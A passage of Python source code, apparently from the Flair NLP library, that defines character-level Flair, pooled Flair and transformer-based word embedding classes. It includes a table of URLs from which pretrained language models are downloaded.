'news-backward', 'news-forward-fast', 'news-backward-fast', 'mix-forward', 'mix-backward', 'german-forward', 'german-backward', 'polish-backward', 'polish-forward', etc (see https://github.com/flairNLP/flair/blob/master/resources/docs/embeddings/FLAIR_EMBEDDINGS.md) depending on which character language model is desired. :param fine_tune: if set to True, the gradient will propagate into the language model. This dramatically slows down training and often leads to overfitting, so use with caution. :param chars_per_chunk: max number of chars per rnn pass to control speed/memory tradeoff. Higher means faster but requires more memory. Lower means slower but less memory. :param with_whitespace: If True, use hidden state after whitespace after word. If False, use hidden state at last character of word. :param tokenized_lm: Whether this lm is tokenized. Default is True, but for LMs trained over unprocessed text False might be better. """ super().__init__() self.instance_parameters = self.get_instance_parameters(locals=locals()) cache_dir = Path("embeddings") hu_path: str = "https://flair.informatik.hu-berlin.de/resources/embeddings/flair" clef_hipe_path: str = "https://files.ifi.uzh.ch/cl/siclemat/impresso/clef-hipe-2020/flair" self.is_lower: bool = is_lower self.PRETRAINED_MODEL_ARCHIVE_MAP = { # multilingual models "multi-forward": f"{hu_path}/lm-jw300-forward-v0.1.pt", "multi-backward": f"{hu_path}/lm-jw300-backward-v0.1.pt", "multi-v0-forward": f"{hu_path}/lm-multi-forward-v0.1.pt", "multi-v0-backward": f"{hu_path}/lm-multi-backward-v0.1.pt", "multi-forward-fast": f"{hu_path}/lm-multi-forward-fast-v0.1.pt", "multi-backward-fast": f"{hu_path}/lm-multi-backward-fast-v0.1.pt", # English models "en-forward": f"{hu_path}/news-forward-0.4.1.pt", "en-backward": f"{hu_path}/news-backward-0.4.1.pt", "en-forward-fast": f"{hu_path}/lm-news-english-forward-1024-v0.2rc.pt", "en-backward-fast": f"{hu_path}/lm-news-english-backward-1024-v0.2rc.pt", "news-forward": f"{hu_path}/news-forward-0.4.1.pt", "news-backward": f"{hu_path}/news-backward-0.4.1.pt", "news-forward-fast": f"{hu_path}/lm-news-english-forward-1024-v0.2rc.pt", "news-backward-fast": f"{hu_path}/lm-news-english-backward-1024-v0.2rc.pt", "mix-forward": f"{hu_path}/lm-mix-english-forward-v0.2rc.pt", "mix-backward": f"{hu_path}/lm-mix-english-backward-v0.2rc.pt", # Arabic "ar-forward": f"{hu_path}/lm-ar-opus-large-forward-v0.1.pt", "ar-backward": f"{hu_path}/lm-ar-opus-large-backward-v0.1.pt", # Bulgarian "bg-forward-fast": f"{hu_path}/lm-bg-small-forward-v0.1.pt", "bg-backward-fast": f"{hu_path}/lm-bg-small-backward-v0.1.pt", "bg-forward": f"{hu_path}/lm-bg-opus-large-forward-v0.1.pt", "bg-backward": f"{hu_path}/lm-bg-opus-large-backward-v0.1.pt", # Czech "cs-forward": f"{hu_path}/lm-cs-opus-large-forward-v0.1.pt", "cs-backward": f"{hu_path}/lm-cs-opus-large-backward-v0.1.pt", "cs-v0-forward": f"{hu_path}/lm-cs-large-forward-v0.1.pt", "cs-v0-backward": f"{hu_path}/lm-cs-large-backward-v0.1.pt", # Danish "da-forward": f"{hu_path}/lm-da-opus-large-forward-v0.1.pt", "da-backward": f"{hu_path}/lm-da-opus-large-backward-v0.1.pt", # German "de-forward": f"{hu_path}/lm-mix-german-forward-v0.2rc.pt", "de-backward": f"{hu_path}/lm-mix-german-backward-v0.2rc.pt", "de-historic-ha-forward": f"{hu_path}/lm-historic-hamburger-anzeiger-forward-v0.1.pt", "de-historic-ha-backward": f"{hu_path}/lm-historic-hamburger-anzeiger-backward-v0.1.pt", "de-historic-wz-forward": f"{hu_path}/lm-historic-wiener-zeitung-forward-v0.1.pt", "de-historic-wz-backward": f"{hu_path}/lm-historic-wiener-zeitung-backward-v0.1.pt", "de-historic-rw-forward": f"{hu_path}/redewiedergabe_lm_forward.pt", "de-historic-rw-backward": f"{hu_path}/redewiedergabe_lm_backward.pt", # Spanish "es-forward": f"{hu_path}/lm-es-forward.pt", "es-backward": f"{hu_path}/lm-es-backward.pt", "es-forward-fast": f"{hu_path}/lm-es-forward-fast.pt", "es-backward-fast": f"{hu_path}/lm-es-backward-fast.pt", # Basque "eu-forward": f"{hu_path}/lm-eu-opus-large-forward-v0.2.pt", "eu-backward": f"{hu_path}/lm-eu-opus-large-backward-v0.2.pt", "eu-v1-forward": f"{hu_path}/lm-eu-opus-large-forward-v0.1.pt", "eu-v1-backward": f"{hu_path}/lm-eu-opus-large-backward-v0.1.pt", "eu-v0-forward": f"{hu_path}/lm-eu-large-forward-v0.1.pt", "eu-v0-backward": f"{hu_path}/lm-eu-large-backward-v0.1.pt", # Persian "fa-forward": f"{hu_path}/lm-fa-opus-large-forward-v0.1.pt", "fa-backward": f"{hu_path}/lm-fa-opus-large-backward-v0.1.pt", # Finnish "fi-forward": f"{hu_path}/lm-fi-opus-large-forward-v0.1.pt", "fi-backward": f"{hu_path}/lm-fi-opus-large-backward-v0.1.pt", # French "fr-forward": f"{hu_path}/lm-fr-charlm-forward.pt", "fr-backward": f"{hu_path}/lm-fr-charlm-backward.pt", # Hebrew "he-forward": f"{hu_path}/lm-he-opus-large-forward-v0.1.pt", "he-backward": f"{hu_path}/lm-he-opus-large-backward-v0.1.pt", # Hindi "hi-forward": f"{hu_path}/lm-hi-opus-large-forward-v0.1.pt", "hi-backward": f"{hu_path}/lm-hi-opus-large-backward-v0.1.pt", # Croatian "hr-forward": f"{hu_path}/lm-hr-opus-large-forward-v0.1.pt", "hr-backward": f"{hu_path}/lm-hr-opus-large-backward-v0.1.pt", # Indonesian "id-forward": f"{hu_path}/lm-id-opus-large-forward-v0.1.pt", "id-backward": f"{hu_path}/lm-id-opus-large-backward-v0.1.pt", # Italian "it-forward": f"{hu_path}/lm-it-opus-large-forward-v0.1.pt", "it-backward": f"{hu_path}/lm-it-opus-large-backward-v0.1.pt", # Japanese "ja-forward": f"{hu_path}/japanese-forward.pt", "ja-backward": f"{hu_path}/japanese-backward.pt", # Malayalam "ml-forward": f"https://raw.githubusercontent.com/qburst/models-repository/master/FlairMalayalamModels/ml-forward.pt", "ml-backward": f"https://raw.githubusercontent.com/qburst/models-repository/master/FlairMalayalamModels/ml-backward.pt", # Dutch "nl-forward": f"{hu_path}/lm-nl-opus-large-forward-v0.1.pt", "nl-backward": f"{hu_path}/lm-nl-opus-large-backward-v0.1.pt", "nl-v0-forward": f"{hu_path}/lm-nl-large-forward-v0.1.pt", "nl-v0-backward": f"{hu_path}/lm-nl-large-backward-v0.1.pt", # Norwegian "no-forward": f"{hu_path}/lm-no-opus-large-forward-v0.1.pt", "no-backward": f"{hu_path}/lm-no-opus-large-backward-v0.1.pt", # Polish "pl-forward": f"{hu_path}/lm-polish-forward-v0.2.pt", "pl-backward": f"{hu_path}/lm-polish-backward-v0.2.pt", "pl-opus-forward": f"{hu_path}/lm-pl-opus-large-forward-v0.1.pt", "pl-opus-backward": f"{hu_path}/lm-pl-opus-large-backward-v0.1.pt", # Portuguese "pt-forward": f"{hu_path}/lm-pt-forward.pt", "pt-backward": f"{hu_path}/lm-pt-backward.pt", # Pubmed "pubmed-forward": f"{hu_path}/pubmed-forward.pt", "pubmed-backward": f"{hu_path}/pubmed-backward.pt", "pubmed-2015-forward": f"{hu_path}/pubmed-2015-fw-lm.pt", "pubmed-2015-backward": f"{hu_path}/pubmed-2015-bw-lm.pt", # Slovenian "sl-forward": f"{hu_path}/lm-sl-opus-large-forward-v0.1.pt", "sl-backward": f"{hu_path}/lm-sl-opus-large-backward-v0.1.pt", "sl-v0-forward": f"{hu_path}/lm-sl-large-forward-v0.1.pt", "sl-v0-backward": f"{hu_path}/lm-sl-large-backward-v0.1.pt", # Swedish "sv-forward": f"{hu_path}/lm-sv-opus-large-forward-v0.1.pt", "sv-backward": f"{hu_path}/lm-sv-opus-large-backward-v0.1.pt", "sv-v0-forward": f"{hu_path}/lm-sv-large-forward-v0.1.pt", "sv-v0-backward": f"{hu_path}/lm-sv-large-backward-v0.1.pt", # Tamil "ta-forward": f"{hu_path}/lm-ta-opus-large-forward-v0.1.pt", "ta-backward": f"{hu_path}/lm-ta-opus-large-backward-v0.1.pt", # Spanish clinical "es-clinical-forward": f"{hu_path}/es-clinical-forward.pt", "es-clinical-backward": f"{hu_path}/es-clinical-backward.pt", # CLEF HIPE Shared task "de-impresso-hipe-v1-forward": f"{clef_hipe_path}/de-hipe-flair-v1-forward/best-lm.pt", "de-impresso-hipe-v1-backward": f"{clef_hipe_path}/de-hipe-flair-v1-backward/best-lm.pt", "en-impresso-hipe-v1-forward": f"{clef_hipe_path}/en-flair-v1-forward/best-lm.pt", "en-impresso-hipe-v1-backward": f"{clef_hipe_path}/en-flair-v1-backward/best-lm.pt", "fr-impresso-hipe-v1-forward": f"{clef_hipe_path}/fr-hipe-flair-v1-forward/best-lm.pt", "fr-impresso-hipe-v1-backward": f"{clef_hipe_path}/fr-hipe-flair-v1-backward/best-lm.pt", } if type(model) == str: # load model if in pretrained model map if model.lower() in self.PRETRAINED_MODEL_ARCHIVE_MAP: base_path = self.PRETRAINED_MODEL_ARCHIVE_MAP[model.lower()] # Fix for CLEF HIPE models (avoid overwriting best-lm.pt in cache_dir) if "impresso-hipe" in model.lower(): cache_dir = cache_dir / model.lower() # CLEF HIPE models are lowercased self.is_lower = True model = cached_path(base_path, cache_dir=cache_dir) elif replace_with_language_code(model) in self.PRETRAINED_MODEL_ARCHIVE_MAP: base_path = self.PRETRAINED_MODEL_ARCHIVE_MAP[ replace_with_language_code(model) ] model = cached_path(base_path, cache_dir=cache_dir) elif not Path(model).exists(): raise ValueError( f'The given model "{model}" is not available or is not a valid path.' ) from flair.models import LanguageModel if type(model) == LanguageModel: self.lm: LanguageModel = model self.name = f"Task-LSTM-{self.lm.hidden_size}-{self.lm.nlayers}-{self.lm.is_forward_lm}" else: self.lm: LanguageModel = LanguageModel.load_language_model(model) self.name = str(model) # embeddings are static if we don't do finetuning self.fine_tune = fine_tune self.static_embeddings = not fine_tune self.is_forward_lm: bool = self.lm.is_forward_lm self.with_whitespace: bool = with_whitespace self.tokenized_lm: bool = tokenized_lm self.chars_per_chunk: int = chars_per_chunk # embed a dummy sentence to determine embedding_length dummy_sentence: Sentence = Sentence() dummy_sentence.add_token(Token("hello")) embedded_dummy = self.embed(dummy_sentence) self.__embedding_length: int = len( embedded_dummy[0].get_token(1).get_embedding() ) # set to eval mode self.eval() def train(self, mode=True): # make compatible with serialized models (TODO: remove) if "fine_tune" not in self.__dict__: self.fine_tune = False if "chars_per_chunk" not in self.__dict__: self.chars_per_chunk = 512 # unless fine-tuning is set, do not set language model to train() in order to disallow language model dropout if not self.fine_tune: pass else: super(FlairEmbeddings, self).train(mode) @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: # make compatible with serialized models (TODO: remove) if "with_whitespace" not in self.__dict__: self.with_whitespace = True if "tokenized_lm" not in self.__dict__: self.tokenized_lm = True if "is_lower" not in self.__dict__: self.is_lower = False # gradients are enable if fine-tuning is enabled gradient_context = torch.enable_grad() if self.fine_tune else torch.no_grad() with gradient_context: # if this is not possible, use LM to generate embedding. First, get text sentences text_sentences = [sentence.to_tokenized_string() for sentence in sentences] if self.tokenized_lm \ else [sentence.to_plain_string() for sentence in sentences] if self.is_lower: text_sentences = [sentence.lower() for sentence in text_sentences] start_marker = self.lm.document_delimiter if "document_delimiter" in self.lm.__dict__ else '\n' end_marker = " " # get hidden states from language model all_hidden_states_in_lm = self.lm.get_representation( text_sentences, start_marker, end_marker, self.chars_per_chunk ) if not self.fine_tune: all_hidden_states_in_lm = all_hidden_states_in_lm.detach() # take first or last hidden states from language model as word representation for i, sentence in enumerate(sentences): sentence_text = sentence.to_tokenized_string() if self.tokenized_lm else sentence.to_plain_string() offset_forward: int = len(start_marker) offset_backward: int = len(sentence_text) + len(start_marker) for token in sentence.tokens: offset_forward += len(token.text) if self.is_forward_lm: offset_with_whitespace = offset_forward offset_without_whitespace = offset_forward - 1 else: offset_with_whitespace = offset_backward offset_without_whitespace = offset_backward - 1 # offset mode that extracts at whitespace after last character if self.with_whitespace: embedding = all_hidden_states_in_lm[offset_with_whitespace, i, :] # offset mode that extracts at last character else: embedding = all_hidden_states_in_lm[offset_without_whitespace, i, :] if self.tokenized_lm or token.whitespace_after: offset_forward += 1 offset_backward -= 1 offset_backward -= len(token.text) # only clone if optimization mode is 'gpu' if flair.embedding_storage_mode == "gpu": embedding = embedding.clone() token.set_embedding(self.name, embedding) del all_hidden_states_in_lm return sentences def __str__(self): return self.name class PooledFlairEmbeddings(TokenEmbeddings): def __init__( self, contextual_embeddings: Union[str, FlairEmbeddings], pooling: str = "min", only_capitalized: bool = False, **kwargs, ): super().__init__() self.instance_parameters = self.get_instance_parameters(locals=locals()) # use the character language model embeddings as basis if type(contextual_embeddings) is str: self.context_embeddings: FlairEmbeddings = FlairEmbeddings( contextual_embeddings, **kwargs ) else: self.context_embeddings: FlairEmbeddings = contextual_embeddings # length is twice the original character LM embedding length self.embedding_length = self.context_embeddings.embedding_length * 2 self.name = self.context_embeddings.name + "-context" # these fields are for the embedding memory self.word_embeddings = {} self.word_count = {} # whether to add only capitalized words to memory (faster runtime and lower memory consumption) self.only_capitalized = only_capitalized # we re-compute embeddings dynamically at each epoch self.static_embeddings = False # set the memory method self.pooling = pooling def train(self, mode=True): super().train(mode=mode) if mode: # memory is wiped each time we do a training run print("train mode resetting embeddings") self.word_embeddings = {} self.word_count = {} def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: self.context_embeddings.embed(sentences) # if we keep a pooling, it needs to be updated continuously for sentence in sentences: for token in sentence.tokens: # update embedding local_embedding = token._embeddings[self.context_embeddings.name].cpu() # check token.text is empty or not if token.text: if token.text[0].isupper() or not self.only_capitalized: if token.text not in self.word_embeddings: self.word_embeddings[token.text] = local_embedding self.word_count[token.text] = 1 else: # set aggregation operation if self.pooling == "mean": aggregated_embedding = torch.add(self.word_embeddings[token.text], local_embedding) elif self.pooling == "fade": aggregated_embedding = torch.add(self.word_embeddings[token.text], local_embedding) aggregated_embedding /= 2 elif self.pooling == "max": aggregated_embedding = torch.max(self.word_embeddings[token.text], local_embedding) elif self.pooling == "min": aggregated_embedding = torch.min(self.word_embeddings[token.text], local_embedding) self.word_embeddings[token.text] = aggregated_embedding self.word_count[token.text] += 1 # add embeddings after updating for sentence in sentences: for token in sentence.tokens: if token.text in self.word_embeddings: base = ( self.word_embeddings[token.text] / self.word_count[token.text] if self.pooling == "mean" else self.word_embeddings[token.text] ) else: base = token._embeddings[self.context_embeddings.name] token.set_embedding(self.name, base) return sentences def embedding_length(self) -> int: return self.embedding_length def get_names(self) -> List[str]: return [self.name, self.context_embeddings.name] def __setstate__(self, d): self.__dict__ = d if flair.device != 'cpu': for key in self.word_embeddings: self.word_embeddings[key] = self.word_embeddings[key].cpu() class TransformerWordEmbeddings(TokenEmbeddings): NO_MAX_SEQ_LENGTH_MODELS = [XLNetModel, TransfoXLModel] def __init__( self, model: str = "bert-base-uncased", layers: str = "all", subtoken_pooling: str = "first", layer_mean: bool = True, fine_tune: bool = False, allow_long_sentences: bool = True, use_context: Union[bool, int] = False, memory_effective_training: bool = True, respect_document_boundaries: bool = True, context_dropout: float = 0.5, **kwargs ): """ Bidirectional transformer embeddings of words from various transformer architectures. :param model: name of transformer model (see https://huggingface.co/transformers/pretrained_models.html for options) :param layers: string indicating which layers to take for embedding (-1 is topmost layer) :param subtoken_pooling: how to get from token piece embeddings to token embedding. Either take the first subtoken ('first'), the last subtoken ('last'), both first and last ('first_last') or a mean over all ('mean') :param layer_mean: If True, uses a scalar mix of layers as embedding :param fine_tune: If True, allows transformers to be fine-tuned during training """ super().__init__() self.instance_parameters = self.get_instance_parameters(locals=locals()) # temporary fix to disable tokenizer parallelism warning # (see https://stackoverflow.com/questions/62691279/how-to-disable-tokenizers-parallelism-true-false-warning) import os os.environ["TOKENIZERS_PARALLELISM"] = "false" # do not print transformer warnings as these are confusing in this case from transformers import logging logging.set_verbosity_error() # load tokenizer and transformer model self.tokenizer: PreTrainedTokenizer = AutoTokenizer.from_pretrained(model, **kwargs) if not 'config' in kwargs: config = AutoConfig.from_pretrained(model, output_hidden_states=True, **kwargs) self.model = AutoModel.from_pretrained(model, config=config) else: self.model = AutoModel.from_pretrained(None, **kwargs) logging.set_verbosity_warning() if type(self.model) not in self.NO_MAX_SEQ_LENGTH_MODELS: self.allow_long_sentences = allow_long_sentences self.truncate = True self.max_subtokens_sequence_length = self.tokenizer.model_max_length self.stride = self.tokenizer.model_max_length // 2 if allow_long_sentences else 0 else: # in the end, these models don't need this configuration self.allow_long_sentences = False self.truncate = False self.max_subtokens_sequence_length = None self.stride = 0 self.use_lang_emb = hasattr(self.model, "use_lang_emb") and self.model.use_lang_emb # model name self.name = 'transformer-word-' + str(model) self.base_model = str(model) # whether to detach gradients on overlong sentences self.memory_effective_training = memory_effective_training # store whether to use context (and how much) if type(use_context) == bool: self.context_length: int = 64 if use_context else 0 if type(use_context) == int: self.context_length: int = use_context # dropout contexts self.context_dropout = context_dropout # if using context, can we cross document boundaries? self.respect_document_boundaries = respect_document_boundaries # send self to flair-device self.to(flair.device) # embedding parameters if layers == 'all': # send mini-token through to check how many layers the model has hidden_states = self.model(torch.tensor([1], device=flair.device).unsqueeze(0))[-1] self.layer_indexes = [int(x) for x in range(len(hidden_states))] else: self.layer_indexes = [int(x) for x in layers.split(",")] self.pooling_operation = subtoken_pooling self.layer_mean = layer_mean self.fine_tune = fine_tune self.static_embeddings = not self.fine_tune # calculate embedding length if not self.layer_mean: length = len(self.layer_indexes) * self.model.config.hidden_size else: length = self.model.config.hidden_size if self.pooling_operation == 'first_last': length *= 2 # return length self.embedding_length_internal = length self.special_tokens = [] # check if special tokens exist to circumvent error message if self.tokenizer._bos_token: self.special_tokens.append(self.tokenizer.bos_token) if self.tokenizer._cls_token: self.special_tokens.append(self.tokenizer.cls_token) # most models have an intial BOS token, except for XLNet, T5 and GPT2 self.begin_offset = self._get_begin_offset_of_tokenizer(tokenizer=self.tokenizer) # when initializing, embeddings are in eval mode by default self.eval() @staticmethod def _get_begin_offset_of_tokenizer(tokenizer: PreTrainedTokenizer) -> int: test_string = 'a' tokens = tokenizer.encode(test_string) for begin_offset, token in enumerate(tokens): if tokenizer.decode([token]) == test_string or tokenizer.decode([token]) == tokenizer.unk_token: break return begin_offset @staticmethod def _remove_special_markup(text: str): # remove special markup text = re.sub('^Ġ', '', text) # RoBERTa models text = re.sub('^##', '', text) # BERT models text = re.sub('^▁', '', text) # XLNet models text = re.sub('</w>$', '', text) # XLM models return text def _get_processed_token_text(self, token: Token) -> str: pieces = self.tokenizer.tokenize(token.text) token_text = '' for piece in pieces: token_text += self._remove_special_markup(piece) token_text = token_text.lower() return token_text def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: # we require encoded subtokenized sentences, the mapping to original tokens and the number of # parts that each sentence produces subtokenized_sentences = [] all_token_subtoken_lengths = [] # if we also use context, first expand sentence to include context if self.context_length > 0: # set context if not set already previous_sentence = None for sentence in sentences: if sentence.is_context_set(): continue sentence._previous_sentence = previous_sentence sentence._next_sentence = None if previous_sentence: previous_sentence._next_sentence = sentence previous_sentence = sentence original_sentences = [] expanded_sentences = [] context_offsets = [] for sentence in sentences: # in case of contextualization, we must remember non-expanded sentence original_sentence = sentence original_sentences.append(original_sentence) # create expanded sentence and remember context offsets expanded_sentence, context_offset = self._expand_sentence_with_context(sentence) expanded_sentences.append(expanded_sentence) context_offsets.append(context_offset) # overwrite sentence with expanded sentence sentence = expanded_sentence sentences = expanded_sentences tokenized_sentences = [] for sentence in sentences: # subtokenize the sentence tokenized_string = sentence.to_tokenized_string() # transformer specific tokenization subtokenized_sentence = self.tokenizer.tokenize(tokenized_string) # set zero embeddings for empty sentences and exclude if len(subtokenized_sentence) == 0: for token in sentence: token.set_embedding(self.name, torch.zeros(self.embedding_length)) continue # determine into how many subtokens each token is split token_subtoken_lengths = self.reconstruct_tokens_from_subtokens(sentence, subtokenized_sentence) # remember tokenized sentences and their subtokenization tokenized_sentences.append(tokenized_string) all_token_subtoken_lengths.append(token_subtoken_lengths) # encode inputs batch_encoding = self.tokenizer(tokenized_sentences, max_length=self.max_subtokens_sequence_length, stride=self.stride, return_overflowing_tokens=self.allow_long_sentences, truncation=self.truncate, padding=True, return_tensors='pt', ) model_kwargs = {} input_ids = batch_encoding['input_ids'].to(flair.device) # Models such as FNet do not have an attention_mask if 'attention_mask' in batch_encoding: model_kwargs['attention_mask'] = batch_encoding['attention_mask'].to(flair.device) # determine which sentence was split into how many parts sentence_parts_lengths = torch.ones(len(tokenized_sentences), dtype=torch.int) if not self.allow_long_sentences \ else torch.unique(batch_encoding['overflow_to_sample_mapping'], return_counts=True, sorted=True)[1].tolist() # set language IDs for XLM-style transformers if self.use_lang_emb: model_kwargs["langs"] = torch.zeros_like(input_ids, dtype=input_ids.dtype) for s_id, sentence in enumerate(tokenized_sentences): sequence_length = len(sentence) lang_id = self.tokenizer.lang2id.get(sentences[s_id].get_language_code(), 0) model_kwargs["langs"][s_id][:sequence_length] = lang_id # put encoded batch through transformer model to get all hidden states of all encoder layers hidden_states = self.model(input_ids, **model_kwargs)[-1] # make the tuple a tensor; makes working with it easier. hidden_states = torch.stack(hidden_states) sentence_idx_offset = 0 # gradients are enabled if fine-tuning is enabled gradient_context = torch.enable_grad() if (self.fine_tune and self.training) else torch.no_grad() with gradient_context: # iterate over all subtokenized sentences for sentence_idx, (sentence, subtoken_lengths, nr_sentence_parts) in enumerate( zip(sentences, all_token_subtoken_lengths, sentence_parts_lengths)): sentence_hidden_state = hidden_states[:, sentence_idx + sentence_idx_offset, ...] for i in range(1, nr_sentence_parts): sentence_idx_offset += 1 remainder_sentence_hidden_state = hidden_states[:, sentence_idx + sentence_idx_offset, ...] # remove stride_size//2 at end of sentence_hidden_state, and half at beginning of remainder, # in order to get some context into the embeddings of these words. # also don't include the embedding of the extra [CLS] and [SEP] tokens. sentence_hidden_state = torch.cat((sentence_hidden_state[:, :-1 - self.stride // 2, :], remainder_sentence_hidden_state[:, 1 + self.stride // 2:, :]), 1) subword_start_idx = self.begin_offset # for each token, get embedding for token_idx, (token, number_of_subtokens) in enumerate(zip(sentence, subtoken_lengths)): # some tokens have no subtokens at all (if omitted by BERT tokenizer) so return zero vector if number_of_subtokens == 0: token.set_embedding(self.name, torch.zeros(self.embedding_length)) continue subword_end_idx = subword_start_idx + number_of_subtokens subtoken_embeddings: List[torch.FloatTensor] = [] # get states from all selected layers, aggregate with pooling operation for layer in self.layer_indexes: current_embeddings = sentence_hidden_state[layer][subword_start_idx:subword_end_idx] if self.pooling_operation == "first": final_embedding: torch.FloatTensor = current_embeddings[0] if self.pooling_operation == "last": final_embedding: torch.FloatTensor = current_embeddings[-1] if self.pooling_operation == "first_last": final_embedding: torch.Tensor = torch.cat( [current_embeddings[0], current_embeddings[-1]]) if self.pooling_operation == "mean": all_embeddings: List[torch.FloatTensor] = [ embedding.unsqueeze(0) for embedding in current_embeddings ] final_embedding: torch.Tensor = torch.mean(torch.cat(all_embeddings, dim=0), dim=0) subtoken_embeddings.append(final_embedding) # use layer mean of embeddings if so selected if self.layer_mean and len(self.layer_indexes) > 1: sm_embeddings = torch.mean(torch.stack(subtoken_embeddings, dim=1), dim=1) subtoken_embeddings = [sm_embeddings] # set the extracted embedding for the token token.set_embedding(self.name, torch.cat(subtoken_embeddings)) subword_start_idx += number_of_subtokens # move embeddings from context back to original sentence (if using context) if self.context_length > 0: for original_sentence, expanded_sentence, context_offset in zip(original_sentences, sentences, context_offsets): for token_idx, token in enumerate(original_sentence): token.set_embedding(self.name, expanded_sentence[token_idx + context_offset].get_embedding(self.name)) sentence = original_sentence def _expand_sentence_with_context(self, sentence): # remember original sentence original_sentence = sentence import random expand_context = False if self.training and random.randint(1, 100) <= (self.context_dropout * 100) else True left_context = '' right_context = '' if expand_context: # get left context while True: sentence = sentence.previous_sentence() if sentence is None: break if self.respect_document_boundaries and sentence.is_document_boundary: break left_context = sentence.to_tokenized_string() + ' ' + left_context left_context = left_context.strip() if len(left_context.split(" ")) > self.context_length: left_context = " ".join(left_context.split(" ")[-self.context_length:]) break original_sentence.left_context = left_context sentence = original_sentence # get right context while True: sentence = sentence.next_sentence() if sentence is None: break if self.respect_document_boundaries and sentence.is_document_boundary: break right_context += ' ' + sentence.to_tokenized_string() right_context = right_context.strip() if len(right_context.split(" ")) > self.context_length: right_context = " ".join(right_context.split(" ")[:self.context_length]) break original_sentence.right_context = right_context left_context_split = left_context.split(" ") right_context_split = right_context.split(" ") # empty contexts should not introduce whitespace tokens if left_context_split == [""]: left_context_split = [] if right_context_split == [""]: right_context_split = [] # make expanded sentence expanded_sentence = Sentence() expanded_sentence.tokens = [Token(token) for token in left_context_split + original_sentence.to_tokenized_string().split(" ") + right_context_split] context_length = len(left_context_split) return expanded_sentence, context_length def reconstruct_tokens_from_subtokens(self, sentence, subtokens): word_iterator = iter(sentence) token = next(word_iterator) token_text = self._get_processed_token_text(token) token_subtoken_lengths = [] reconstructed_token = '' subtoken_count = 0 # iterate over subtokens and reconstruct tokens for subtoken_id, subtoken in enumerate(subtokens): # remove special markup subtoken = self._remove_special_markup(subtoken) # TODO check if this is necessary is this method is called before prepare_for_model # check if reconstructed token is special begin token ([CLS] or similar) if subtoken in self.special_tokens and subtoken_id == 0: continue # some BERT tokenizers somehow omit words - in such cases skip to next token if subtoken_count == 0 and not token_text.startswith(subtoken.lower()): while True: token_subtoken_lengths.append(0) token = next(word_iterator) token_text = self._get_processed_token_text(token) if token_text.startswith(subtoken.lower()): break subtoken_count += 1 # append subtoken to reconstruct token reconstructed_token = reconstructed_token + subtoken # check if reconstructed token is the same as current token if reconstructed_token.lower() == token_text: # if so, add subtoken count token_subtoken_lengths.append(subtoken_count) # reset subtoken count and reconstructed token reconstructed_token = '' subtoken_count = 0 # break from loop if all tokens are accounted for if len(token_subtoken_lengths) < len(sentence): token = next(word_iterator) token_text = self._get_processed_token_text(token) else: break # if tokens are unaccounted for while len(token_subtoken_lengths) < len(sentence) and len(token.text) == 1: token_subtoken_lengths.append(0) if len(token_subtoken_lengths) == len(sentence): break token = next(word_iterator) # check if all tokens were matched to subtokens if token != sentence[-1]: log.error(f"Tokenization MISMATCH in sentence '{sentence.to_tokenized_string()}'") log.error(f"Last matched: '{token}'") log.error(f"Last sentence: '{sentence[-1]}'") log.error(f"subtokenized: '{subtokens}'") return token_subtoken_lengths @property def embedding_length(self) -> int: if "embedding_length_internal" in self.__dict__.keys(): return self.embedding_length_internal # """Returns the length of the embedding vector.""" if not self.layer_mean: length = len(self.layer_indexes) * self.model.config.hidden_size else: length = self.model.config.hidden_size if self.pooling_operation == 'first_last': length *= 2 self.__embedding_length = length return length def __getstate__(self): # special handling for serializing transformer models config_state_dict = self.model.config.__dict__ model_state_dict = self.model.state_dict() if not hasattr(self, "base_model_name"): self.base_model_name = self.name.split('transformer-word-')[-1] # serialize the transformer models and the constructor arguments (but nothing else) model_state = { "config_state_dict": config_state_dict, "model_state_dict": model_state_dict, "embedding_length_internal": self.embedding_length, "base_model_name": self.base_model_name, "name": self.name, "layer_indexes": self.layer_indexes, "subtoken_pooling": self.pooling_operation, "context_length": self.context_length, "layer_mean": self.layer_mean, "fine_tune": self.fine_tune, "allow_long_sentences": self.allow_long_sentences, "memory_effective_training": self.memory_effective_training, "respect_document_boundaries": self.respect_document_boundaries, "context_dropout": self.context_dropout, } return model_state def __setstate__(self, d): self.__dict__ = d # necessary for reverse compatibility with Flair <= 0.7 if 'use_scalar_mix' in self.__dict__.keys(): self.__dict__['layer_mean'] = d['use_scalar_mix'] if not 'memory_effective_training' in self.__dict__.keys(): self.__dict__['memory_effective_training'] = True if 'pooling_operation' in self.__dict__.keys(): self.__dict__['subtoken_pooling'] = d['pooling_operation'] if not 'context_length' in self.__dict__.keys(): self.__dict__['context_length'] = 0 if 'use_context' in self.__dict__.keys(): self.__dict__['context_length'] = 64 if self.__dict__['use_context'] == True else 0 if not 'context_dropout' in self.__dict__.keys(): self.__dict__['context_dropout'] = 0.5 if not 'respect_document_boundaries' in self.__dict__.keys(): self.__dict__['respect_document_boundaries'] = True if not 'memory_effective_training' in self.__dict__.keys(): self.__dict__['memory_effective_training'] = True if not 'base_model_name' in self.__dict__.keys(): self.__dict__['base_model_name'] = self.__dict__['name'].split('transformer-word-')[-1] # special handling for deserializing transformer models if "config_state_dict" in d: # load transformer model model_type = d["config_state_dict"]["model_type"] if "model_type" in d["config_state_dict"] else "bert" config_class = CONFIG_MAPPING[model_type] loaded_config = config_class.from_dict(d["config_state_dict"]) # constructor arguments layers = ','.join([str(idx) for idx in self.__dict__['layer_indexes']]) # re-initialize transformer word embeddings with constructor arguments embedding = TransformerWordEmbeddings( model=self.__dict__['base_model_name'], layers=layers, subtoken_pooling=self.__dict__['subtoken_pooling'], use_context=self.__dict__['context_length'], layer_mean=self.__dict__['layer_mean'], fine_tune=self.__dict__['fine_tune'], allow_long_sentences=self.__dict__['allow_long_sentences'], respect_document_boundaries=self.__dict__['respect_document_boundaries'], memory_effective_training=self.__dict__['memory_effective_training'], context_dropout=self.__dict__['context_dropout'], config=loaded_config, state_dict=d["model_state_dict"], ) # I have no idea why this is necessary, but otherwise it doesn't work for key in embedding.__dict__.keys(): self.__dict__[key] = embedding.__dict__[key] else: # reload tokenizer to get around serialization issues model_name = self.__dict__['name'].split('transformer-word-')[-1] try: tokenizer = AutoTokenizer.from_pretrained(model_name) except: pass self.tokenizer = tokenizer class FastTextEmbeddings(TokenEmbeddings): """FastText Embeddings with oov functionality""" def __init__(self, embeddings: str, use_local: bool = True, field: str = None): """ Initializes fasttext word embeddings. Constructor downloads required embedding file and stores in cache if use_local is 